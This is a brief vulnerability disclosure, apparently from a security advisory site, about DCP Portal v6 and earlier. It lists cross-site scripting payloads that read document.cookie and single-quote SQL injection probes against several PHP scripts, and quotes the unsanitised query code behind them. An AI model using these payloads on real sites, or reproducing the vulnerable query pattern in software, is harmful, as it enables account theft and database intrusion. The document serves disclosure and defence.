https://cxsecurity.com/issue/WLB-2005100055

漏洞细节尚未披露

Web Site: http://www.dcp-portal.org/

DCP Portal <= v6

This script is possibly vulnerable to SQL Injection attacks AND  Cross Site Scripting (XSS) attacks

The script has been tested with these query variables:

XSS :

http://[target]/index.php?page=send&cid=<script>alert(document.cookie);<
/script>

XSS - only POST metod

calendar.php
http://[target]/calendar.php

The script has been tested with these POST variables:

month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&d
ay=01

Also this script is possibly vulnerable to SQL Injection attacks.

The SQL Injection attacks has been tested with these POST variables:

register.php

sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zi
p=1&city=1&country=1&job=1&tel=1&signature=1&username=1&password=1&passw
ord2=1&hide=on&list=on&action=send&submit=Send

lostpassword.php

mode=lost&email=%27&submit=Send

calendar.php
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01

index.php?cid=%27[SQL]

cod from index.php

$sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
  $result = mysql_query($sql);

forums.php?action=showmsg&mid=%27[SQL]

cod from forum.php

$resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id = '".$_GET["bid"]."' $where AND msg_id = '0'");
  while($rowt=mysql_fetch_array($resultt)) {

Best Regards
Alex